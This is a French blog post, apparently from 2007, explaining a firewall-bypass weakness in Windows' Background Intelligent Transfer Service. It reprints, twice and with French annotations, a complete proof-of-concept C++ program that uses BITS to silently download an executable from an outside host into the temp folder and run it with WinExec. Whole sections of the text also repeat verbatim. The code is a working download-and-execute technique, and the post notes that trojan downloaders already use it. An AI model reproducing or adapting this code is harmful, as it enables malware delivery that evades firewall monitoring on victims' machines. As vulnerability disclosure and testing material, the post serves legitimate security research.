vulnérabilite sur BITS : premiers exploits ?
BITS ? kesako ?
BITS signifie Background Intelligent Transfer Service. Il s'agit d'un composant COM développé par Microsoft
et dont le but est d'effectuer des téléchargements avancés en arrière plan. L'utilisation classique
de BITS étant Windows Update.
Problèmes de BITS à l'origine de la faille de sécurité (non exploitée pour le moment en grande vague)
Le problème de BITS est que étant un composant windows fait par Microsoft lui-même, Windows a une confiance
absolue en son intégrité. Et de ce fait, il est implémenté tel que même un firewall ne peut le contrôler.
Dans ce cas, la corruption du composant COM (ou alors une utilisation non légale) fait que le firewall ne peut pas
controler les téléchargements effectuer (pas d'analyse de connexion, de flux, ...). Ce composant est donc un élément
critique mais pourtant accessible par tous ! Il suffit d'avoir installer un executable utilisant le code décrit plus bas
pour que des téléchargements silencieux s'effectuent !
Aucune restriction d'accès n'est faite tant sur l'accès au composant COM (pas de niveau système requis) ou sur les sites
de téléchargements. Pourquoi ne pas les restreindre par white liste, ce qui permet un controle efficace (tant que c'est des restriction IP bien sûr !) ?
D'apprès les sources citées plus bas, Microsoft s'occupe du problème. (hum, pourquoi 1° ne pas faire un patch très restrictif et immédiat puis 2° envisagé une solution correcte ? car le 1° presse, tout de même !)
A noter que selon Frank Boldewin, certains virus commencerait à utiliser cette technique, même s'ils requierent (pour le moment) une intervention locale (vive le social engineering !)
Un exemple ? trojanDownloader:Win32/Jowspry (un google search vous donnera de beaux résultats !)
Quelques liens
Elia Florio : http://www.symantec.com/enterprise/security_response/weblog/2007/05/malware_update_with_windows_up.html
Bien entendu, ce genre de fait est relayé en grande pompe sur certaines chaînes, avec par exemple la BBC (http://news.bbc.co.uk/1/hi/technology/6657677.stm) ou encore le washington post (http://blog.washingtonpost.com/securityfix/2007/05/malware_using_microsoft_patch.html)
Pour des traductions en français, le premier site que j'ai trouvé, en 2 sec sous google, c'est http://www.generation-nt.com/windows-update-pirate-faille-internet-microsoft-actualite-40801.html
En fin, LE site : http://www.reconstructer.org/. Il s'agit du site de Frank Boldewin! code source (proof of concept, vive la recherche !) disponible, mais non commenté
Et puis merci à techrepublic.com.com sans qui cette news me serait passée sous le nez :(
Explication du code source
Voici tout d'abord une partie du code source (cf. plus bas). Le but est d'expliquer les grandes lignes (mais en vraiment gfro
Le résultat : le renard pleure :D
Bien sûr, il est possible de télécharger un exemple (cf. partie suivante). Le but est alors de lancer bitscode.exe (ou alors de compier bitscode.cpp pour les paranos :D) et au final :
soit vous avez une alerte firewall => bien
soit vous n'en avez pas => vous êtes vulnérable !

Et mince :
Va falloir que je vois si je trouve une solution simple, maintenant, en attend le patch :(
Le code source en lui même, annoté par moi-même :D
le code non annoté est téléchargeable sur le site lui-même : http://www.reconstructer.org/code/bitscode.zip
// This is version 2 of bitscode.exe
// The newer version downloads and starts fwbypassalert.exe in the users temp directory
#define _WIN32_WINNT 0x0400
#define _WIN32_DCOM
#include <stdio.h>
#include <windows.h>
#include <objbase.h>
#include <bits.h>
#pragma hdrstop
#pragma comment(lib, "bits.lib")
#pragma comment(lib, "ole32.lib")
int main()
{
HRESULT hresult;
//Use the IBackgroundCopyManager interface to create transfer jobs, retrieve an enumerator object that contains the jobs in the queue, and to retrieve individual jobs from the queue.
//http://msdn2.microsoft.com/en-us/library/aa363050.aspx
IBackgroundCopyManager * bgcopyman;
IBackgroundCopyJob * bgcopyjob;
GUID jobid;
WCHAR source[]=L"http://www.reconstructer.org/fwbypassalert";
WCHAR target[MAX_PATH+20]=L"";
WCHAR jobname[]=L"leeching_job";
WCHAR tmppath[MAX_PATH];
char exec[MAX_PATH+20]="";
GetTempPathW(MAX_PATH,tmppath);
swprintf(target,L"%sfwbypassalert.exe",tmppath);
/*int WideCharToMultiByte(
UINT CodePage,
DWORD dwFlags,
LPCWSTR lpWideCharStr,
int cchWideChar,
LPSTR lpMultiByteStr,
int cbMultiByte,
LPCSTR lpDefaultChar,
LPBOOL lpUsedDefaultChar
);
lpWideCharStr
[in] Pointer to the wide character string to convert.
cchWideChar
[in] Size, in WCHAR values, of the string indicated by lpWideCharStr. If this parameter is set to -1, the function assumes the string to be null-terminated and calculates the length automatically, including the null terminator. If cchWideChar is set to 0, the function fails.
lpMultiByteStr
[out] Pointer to a buffer that receives the converted string.
cbMultiByte
[in] Size, in bytes, of the buffer indicated by lpMultiByteStr. If this parameter is set to 0, the function returns the required buffer size for lpMultiByteStr and makes no use of the output parameter itself.
*/
WideCharToMultiByte(CP_ACP,0,(const unsigned short*)target,MAX_PATH+20,exec,MAX_PATH+20,NULL,NULL);
hresult = CoInitializeEx(NULL,COINIT_APARTMENTTHREADED);
if(SUCCEEDED(hresult))
{
hresult = CoInitializeSecurity(NULL,-1,NULL,NULL,
RPC_C_AUTHN_LEVEL_CONNECT,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,EOAC_NONE,0);
}
else
return -1;
if(SUCCEEDED(hresult))
hresult = CoCreateInstance(CLSID_BackgroundCopyManager,
0,
CLSCTX_ALL,
IID_IBackgroundCopyManager,
(LPVOID *)&bgcopyman);
else
return -1;
if (hresult==S_OK)
{
/*
HRESULT CreateJob(
LPCWSTR pDisplayName,
BG_JOB_TYPE Type,
GUID* pJobID,
IBackgroundCopyJob** ppJob
);
pDisplayName
[in] Null-terminated string that contains a display name for the job. Typically, the display name is used to identify the job in a user interface. Note that more than one job may have the same display name. Must not be NULL. The name is limited to 256 characters, not including the null terminator.
Type
[in] Type of transfer job, such as BG_JOB_TYPE_DOWNLOAD. For a list of transfer types, see the BG_JOB_TYPE enumeration.
pJobID
[out] Uniquely identifies your job in the queue. Use this identifier when you call the IBackgroundCopyManager::GetJob method to get a job from the queue.
ppJob
[out] An IBackgroundCopyJob interface pointer that you use to modify the job's properties and specify the files to be transferred. To activate the job in the queue, call the IBackgroundCopyJob::Resume method. Release ppJob when done.
http://msdn2.microsoft.com/en-us/library/aa362973.aspx
*/
hresult = bgcopyman->CreateJob(jobname,BG_JOB_TYPE_DOWNLOAD,&jobid,&bgcopyjob);
if (hresult==S_OK)
{
/*
use the AddFile method to add a single file to the job.
HRESULT AddFile(
LPCWSTR pRemoteName,
LPCWSTR pLocalName
);
http://msdn2.microsoft.com/en-us/library/aa363017.aspx
*/
hresult = bgcopyjob->AddFile(source,target);
if (hresult==S_OK)
{
BG_JOB_STATE state;
//Resume Restarts a suspended job.
//note perso : ou aussi le lance !
bgcopyjob->Resume();
do
{
Sleep(100);
hresult = bgcopyjob->GetState(&state);
} while (state!=BG_JOB_STATE_TRANSFERRED);
bgcopyjob->Complete();
//lance l'executable téléchargé !
WinExec(exec, SW_SHOW);
}
bgcopyjob->Release();
}
bgcopyman->Release();
}
CoUninitialize();
return 0;
}
BITS signifie Background Intelligent Transfer Service. Il s'agit d'un composant COM développé par Microsoft
et dont le but est d'effectuer des téléchargements avancés en arrière plan. L'utilisation classique
de BITS étant Windows Update.
Problèmes de BITS à l'origine de la faille de sécurité (non exploitée pour le moment en grande vague)
Le problème de BITS est que étant un composant windows fait par Microsoft lui-même, Windows a une confiance
absolue en son intégrité. Et de ce fait, il est implémenté tel que même un firewall ne peut le contrôler.
Dans ce cas, la corruption du composant COM (ou alors une utilisation non légale) fait que le firewall ne peut pas
controler les téléchargements effectuer (pas d'analyse de connexion, de flux, ...). Ce composant est donc un élément
critique mais pourtant accessible par tous ! Il suffit d'avoir installer un executable utilisant le code décrit plus bas
pour que des téléchargements silencieux s'effectuent !
Aucune restriction d'accès n'est faite tant sur l'accès au composant COM (pas de niveau système requis) ou sur les sites
de téléchargements. Pourquoi ne pas les restreindre par white liste, ce qui permet un controle efficace (tant que c'est des restriction IP bien sûr !) ?
D'apprès les sources citées plus bas, Microsoft s'occupe du problème. (hum, pourquoi 1° ne pas faire un patch très restrictif et immédiat puis 2° envisagé une solution correcte ? car le 1° presse, tout de même !)
A noter que selon Frank Boldewin, certains virus commencerait à utiliser cette technique, même s'ils requierent (pour le moment) une intervention locale (vive le social engineering !)
Un exemple ? trojanDownloader:Win32/Jowspry (un google search vous donnera de beaux résultats !)
Quelques liens
Elia Florio : http://www.symantec.com/enterprise/security_response/weblog/2007/05/malware_update_with_windows_up.html
Bien entendu, ce genre de fait est relayé en grande pompe sur certaines chaînes, avec par exemple la BBC (http://news.bbc.co.uk/1/hi/technology/6657677.stm) ou encore le washington post (http://blog.washingtonpost.com/securityfix/2007/05/malware_using_microsoft_patch.html)
Pour des traductions en français, le premier site que j'ai trouvé, en 2 sec sous google, c'est http://www.generation-nt.com/windows-update-pirate-faille-internet-microsoft-actualite-40801.html
En fin, LE site : http://www.reconstructer.org/. Il s'agit du site de Frank Boldewin! code source (proof of concept, vive la recherche !) disponible, mais non commenté
Et puis merci à techrepublic.com.com sans qui cette news me serait passée sous le nez :(
Explication du code source
Voici tout d'abord une partie du code source (cf. plus bas). Le but est d'expliquer les grandes lignes (mais en vraiment gfro
//pointeur principal sur le GITS
IBackgroundCopyManager * bgcopyman;
//pointeur sur le travail
IBackgroundCopyJob * bgcopyjob;
GUID jobid;
//l'executable à télécharger : http://www.reconstructer.org/fwbypassalert
// vous pouvez essayer en mettant l'adresse sur votre navigateur firefoxis, euh, favoris :D
WCHAR source[]=L"http://www.reconstructer.org/fwbypassalert";
//où le copier
WCHAR target[MAX_PATH+20]=L"";
//adresse du fichier local sous forme char, pour pouvoir l'executer
char exec[MAX_PATH+20]="";
//rien de plus simple que de copier le fichier dans le dossier temp
//compatible 100%, peut importe le partionnement éffectué (exemple installer windows sur D:)
GetTempPathW(MAX_PATH,tmppath);
WideCharToMultiByte(CP_ACP,0,(const unsigned short*)target,MAX_PATH+20,exec,MAX_PATH+20,NULL,NULL);
//créé le job via GITS
hresult = bgcopyman->CreateJob(jobname,BG_JOB_TYPE_DOWNLOAD,&jobid,&bgcopyjob);
//ajoute le job
hresult = bgcopyjob->AddFile(source,target);
//lance le job
bgcopyjob->Resume();
//attend que le fichier a été téléchargé
do
{
Sleep(100);
hresult = bgcopyjob->GetState(&state);
} while (state!=BG_JOB_STATE_TRANSFERRED);
//lance l'executable téléchargé !
WinExec(exec, SW_SHOW);
IBackgroundCopyManager * bgcopyman;
//pointeur sur le travail
IBackgroundCopyJob * bgcopyjob;
GUID jobid;
//l'executable à télécharger : http://www.reconstructer.org/fwbypassalert
// vous pouvez essayer en mettant l'adresse sur votre navigateur firefoxis, euh, favoris :D
WCHAR source[]=L"http://www.reconstructer.org/fwbypassalert";
//où le copier
WCHAR target[MAX_PATH+20]=L"";
//adresse du fichier local sous forme char, pour pouvoir l'executer
char exec[MAX_PATH+20]="";
//rien de plus simple que de copier le fichier dans le dossier temp
//compatible 100%, peut importe le partionnement éffectué (exemple installer windows sur D:)
GetTempPathW(MAX_PATH,tmppath);
WideCharToMultiByte(CP_ACP,0,(const unsigned short*)target,MAX_PATH+20,exec,MAX_PATH+20,NULL,NULL);
//créé le job via GITS
hresult = bgcopyman->CreateJob(jobname,BG_JOB_TYPE_DOWNLOAD,&jobid,&bgcopyjob);
//ajoute le job
hresult = bgcopyjob->AddFile(source,target);
//lance le job
bgcopyjob->Resume();
//attend que le fichier a été téléchargé
do
{
Sleep(100);
hresult = bgcopyjob->GetState(&state);
} while (state!=BG_JOB_STATE_TRANSFERRED);
//lance l'executable téléchargé !
WinExec(exec, SW_SHOW);
Le résultat : le renard pleure :D
Bien sûr, il est possible de télécharger un exemple (cf. partie suivante). Le but est alors de lancer bitscode.exe (ou alors de compier bitscode.cpp pour les paranos :D) et au final :
soit vous avez une alerte firewall => bien
soit vous n'en avez pas => vous êtes vulnérable !

Et mince :
If you see this message and your firewall hasn't alerted you before downloading and executing this code, the firewall bypassing worked successfully
Va falloir que je vois si je trouve une solution simple, maintenant, en attend le patch :(
Le code source en lui même, annoté par moi-même :D
le code non annoté est téléchargeable sur le site lui-même : http://www.reconstructer.org/code/bitscode.zip
// This is version 2 of bitscode.exe
// The newer version downloads and starts fwbypassalert.exe in the users temp directory
#define _WIN32_WINNT 0x0400
#define _WIN32_DCOM
#include <stdio.h>
#include <windows.h>
#include <objbase.h>
#include <bits.h>
#pragma hdrstop
#pragma comment(lib, "bits.lib")
#pragma comment(lib, "ole32.lib")
int main()
{
HRESULT hresult;
//Use the IBackgroundCopyManager interface to create transfer jobs, retrieve an enumerator object that contains the jobs in the queue, and to retrieve individual jobs from the queue.
//http://msdn2.microsoft.com/en-us/library/aa363050.aspx
IBackgroundCopyManager * bgcopyman;
IBackgroundCopyJob * bgcopyjob;
GUID jobid;
WCHAR source[]=L"http://www.reconstructer.org/fwbypassalert";
WCHAR target[MAX_PATH+20]=L"";
WCHAR jobname[]=L"leeching_job";
WCHAR tmppath[MAX_PATH];
char exec[MAX_PATH+20]="";
GetTempPathW(MAX_PATH,tmppath);
swprintf(target,L"%sfwbypassalert.exe",tmppath);
/*int WideCharToMultiByte(
UINT CodePage,
DWORD dwFlags,
LPCWSTR lpWideCharStr,
int cchWideChar,
LPSTR lpMultiByteStr,
int cbMultiByte,
LPCSTR lpDefaultChar,
LPBOOL lpUsedDefaultChar
);
lpWideCharStr
[in] Pointer to the wide character string to convert.
cchWideChar
[in] Size, in WCHAR values, of the string indicated by lpWideCharStr. If this parameter is set to -1, the function assumes the string to be null-terminated and calculates the length automatically, including the null terminator. If cchWideChar is set to 0, the function fails.
lpMultiByteStr
[out] Pointer to a buffer that receives the converted string.
cbMultiByte
[in] Size, in bytes, of the buffer indicated by lpMultiByteStr. If this parameter is set to 0, the function returns the required buffer size for lpMultiByteStr and makes no use of the output parameter itself.
*/
WideCharToMultiByte(CP_ACP,0,(const unsigned short*)target,MAX_PATH+20,exec,MAX_PATH+20,NULL,NULL);
hresult = CoInitializeEx(NULL,COINIT_APARTMENTTHREADED);
if(SUCCEEDED(hresult))
{
hresult = CoInitializeSecurity(NULL,-1,NULL,NULL,
RPC_C_AUTHN_LEVEL_CONNECT,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,EOAC_NONE,0);
}
else
return -1;
if(SUCCEEDED(hresult))
hresult = CoCreateInstance(CLSID_BackgroundCopyManager,
0,
CLSCTX_ALL,
IID_IBackgroundCopyManager,
(LPVOID *)&bgcopyman);
else
return -1;
if (hresult==S_OK)
{
/*
HRESULT CreateJob(
LPCWSTR pDisplayName,
BG_JOB_TYPE Type,
GUID* pJobID,
IBackgroundCopyJob** ppJob
);
pDisplayName
[in] Null-terminated string that contains a display name for the job. Typically, the display name is used to identify the job in a user interface. Note that more than one job may have the same display name. Must not be NULL. The name is limited to 256 characters, not including the null terminator.
Type
[in] Type of transfer job, such as BG_JOB_TYPE_DOWNLOAD. For a list of transfer types, see the BG_JOB_TYPE enumeration.
pJobID
[out] Uniquely identifies your job in the queue. Use this identifier when you call the IBackgroundCopyManager::GetJob method to get a job from the queue.
ppJob
[out] An IBackgroundCopyJob interface pointer that you use to modify the job's properties and specify the files to be transferred. To activate the job in the queue, call the IBackgroundCopyJob::Resume method. Release ppJob when done.
http://msdn2.microsoft.com/en-us/library/aa362973.aspx
*/
hresult = bgcopyman->CreateJob(jobname,BG_JOB_TYPE_DOWNLOAD,&jobid,&bgcopyjob);
if (hresult==S_OK)
{
/*
use the AddFile method to add a single file to the job.
HRESULT AddFile(
LPCWSTR pRemoteName,
LPCWSTR pLocalName
);
http://msdn2.microsoft.com/en-us/library/aa363017.aspx
*/
hresult = bgcopyjob->AddFile(source,target);
if (hresult==S_OK)
{
BG_JOB_STATE state;
//Resume Restarts a suspended job.
//note perso : ou aussi le lance !
bgcopyjob->Resume();
do
{
Sleep(100);
hresult = bgcopyjob->GetState(&state);
} while (state!=BG_JOB_STATE_TRANSFERRED);
bgcopyjob->Complete();
//lance l'executable téléchargé !
WinExec(exec, SW_SHOW);
}
bgcopyjob->Release();
}
bgcopyman->Release();
}
CoUninitialize();
return 0;
}
Publicité